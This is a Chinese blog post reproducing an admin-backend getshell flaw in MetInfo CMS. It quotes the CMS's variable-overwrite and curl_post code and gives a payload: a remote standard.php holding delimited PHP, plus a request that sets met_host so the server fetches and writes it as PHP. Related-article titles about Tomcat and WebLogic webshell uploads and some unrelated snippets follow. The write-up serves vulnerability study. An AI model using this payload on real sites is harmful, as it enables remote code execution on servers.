整体思路

  • 挖掘伪全局变量
  • 然后找可控参数进行利用#伪全局变量:可理解为全局变量,例部分CMS为了全局过滤SQL注入或者XSS之类的漏洞就会将GET、POST、COOKIE等请求借入全局然后直接过滤。这样就做到了全部统一过滤SQL、XSS等漏洞

实例:

  参考链接:http://www.91ri.org/16663.html

前言:

  • Metlnfo正是一个伪全局的CMS。
  • /admin/include/common.inc.php第24行即可看出Metlnfo是伪全局了。
  •  define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    isset($_REQUEST['GLOBALS']) && exit('Access Error');
    require_once ROOTPATH.'include/global.func.php';
    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
    $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
    $_M['form'][$_key] = daddslashes($_value,0,0,1);
    }
    }

    且如上的第6行还存在变量覆盖漏洞。(也就是说如果有什么危险的变量在没有被赋值的情况下可以使用这个漏洞去将其赋值)

开始分析:

漏洞文件:/admin/app/physical/physical.php

 $post=array('ver'=>$metcms_v,'app'=>$applist);
$result=curl_post($post,60);
if(link_error($result)==1){
$results=explode('<Met>',$result);
file_put_contents('dlappfile.php',$results[1]);
file_put_contents('standard.php',$results[0].$results[1]);
}

如上代码所示,第5、6行中的file_put_contents中有两个参数,如果$results可控那么可能就可以造成远程文件写入的漏洞。那么我们追踪$results,因为$results是在curl_post函数中得到的,所以我们追踪这个函数。

我将鼠标放至该函数便可追踪到其来源。有三个文件。

 /include/export.func.php
app/system/include/class/curl.class.php
install/index.php

第二个跟第三个均未被包含在这个文件。那么我们就锁定在/include/export.func.php文件当中

 <?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
/*发送POST*/
function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
$curlHandle=curl_init();
curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_POST, 1);
curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
$result=curl_exec($curlHandle);
curl_close($curlHandle);
}

第7行当中的$met_host并未赋值即为可控(无论是在export.func.php还是在physical.php当中)。$met_file在physical.php当中有进行赋值。(这两个变量是在export.func.php的第当中7、8有进行定义)

所以得出$met_host可控,而$met_file不可控。

回来看这个漏洞所在的地方。

在122行必须要满足physical[11] == 1才能执行这个漏洞。那么看一下如何才能成立。

往physical这个文件的开头看去终于找到了。

当action为do的时候等于$physicaldo[11] == 1

所以构造出payload为

首先现在远程服务器上新建一个standard.php

内容为:

 metinfo

 <Met>

 <?php
echo "Joseph";
?> <Met> <?php
echo "<?php phpinfo();?>";
?>

physical.php?action=do?met_host=127.0.0.1

漏洞还是挺鸡肋。不支持远程写入也是没法儿的。

Metlnfo cms后台getshell漏洞复现的更多相关文章

  1. 16.Tomcat弱口令 && 后台getshell漏洞

    Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. [漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomc ...

  4. 74cms v4.2.1-v4.2.129-后台getshell漏洞复现

    0x00 影响范围 v4.2.1-v4.2.129 0x01 环境搭建 1. 先去官网下载 骑士人才系统基础版(安装包) 2.将下载好的包进行安装 0x02 复现过程 当前版本v4.2.111 点加工 ...

  5. 12.Weblogic 弱口令 && 后台getshell漏洞

    利用docker环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞. 分别通过这两种漏洞,模拟对weblogic场景的渗透. Weblogic版本:10.3. ...

  6. Tomcat7+ 弱口令 && 后台getshell漏洞

    打开tomcat管理页面http://192.168.49.2:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台 先将jsp大马压缩为zip,再将zip后缀改名为 ...

  7. Tomcat口令暴力猜解&&后台getshell

    Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...

  8. 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势

    原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...

  9. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

随机推荐

  1. C的强制转换和C++的强制转换(转)

    C的强制转换: (type)<expression> 其中,type为类型描述符,如int,float等.<expression>为表达式.经强制类型转换运算符运算后,返回一个 ...

  2. 发送缓冲区sk_wmem_queued

    sk_wmem_queued是目前发送缓冲区的量 tcp_trim_head 把这快内存给去掉, 什么时候会加入到内存里呢?__tcp_add_write_queue_tail, skb里的内存是啥? ...

  3. web传参

    页面通过对象,将表单数据传送给后端,后端通过对象接收参数值,

  4. 在网页中浏览PDF文档

    刚开始找了好多插件,包括pdf.js,但都不理想,后来发现用iframe反而容易: <iframe src="test_pdf.pdf" width="800&qu ...

  5. 在html在添加cookie和读取cookie

    1.保存cookie var oDate = new Date(); oDate.setDate(oDate.getDate() + );//有效期为30天 document.cookie = &qu ...

  6. BZOJ4765 普通计算姬(分块+树状数组)

    对节点按编号分块.设f[i][j]为修改j号点对第i块的影响,计算f[i][]时dfs一遍即可.记录每一整块的sum.修改时对每一块直接更新sum,同时用dfs序上的树状数组维护子树和.查询时累加整块 ...

  7. UVA.136 Ugly Numbers (优先队列)

    UVA.136 Ugly Numbers (优先队列) 题意分析 如果一个数字是2,3,5的倍数,那么他就叫做丑数,规定1也是丑数,现在求解第1500个丑数是多少. 既然某数字2,3,5倍均是丑数,且 ...

  8. 简述JavaScript的类与对象

    JavaScript语言是动态类型的语言,基于对象并由事件驱动.用面向对象的思想来看,它也有类的概念.JavaScript 没有class关键字,就是用function来实现. 1. 实现方式及变量/ ...

  9. layui中对表格操作按钮集的判断

    可用如下语法: {{# if(d.IsAudit==false){ }} <a class='layui-btn layui-btn-xs layui-btn-normal' lay-event ...

  10. ubuntu下如何控制风扇速度?

    1.安装lm-sensors  (https://apps.ubuntu.com/cat/applications/lm-sensors/)和fancontrol(https://apps.ubunt ...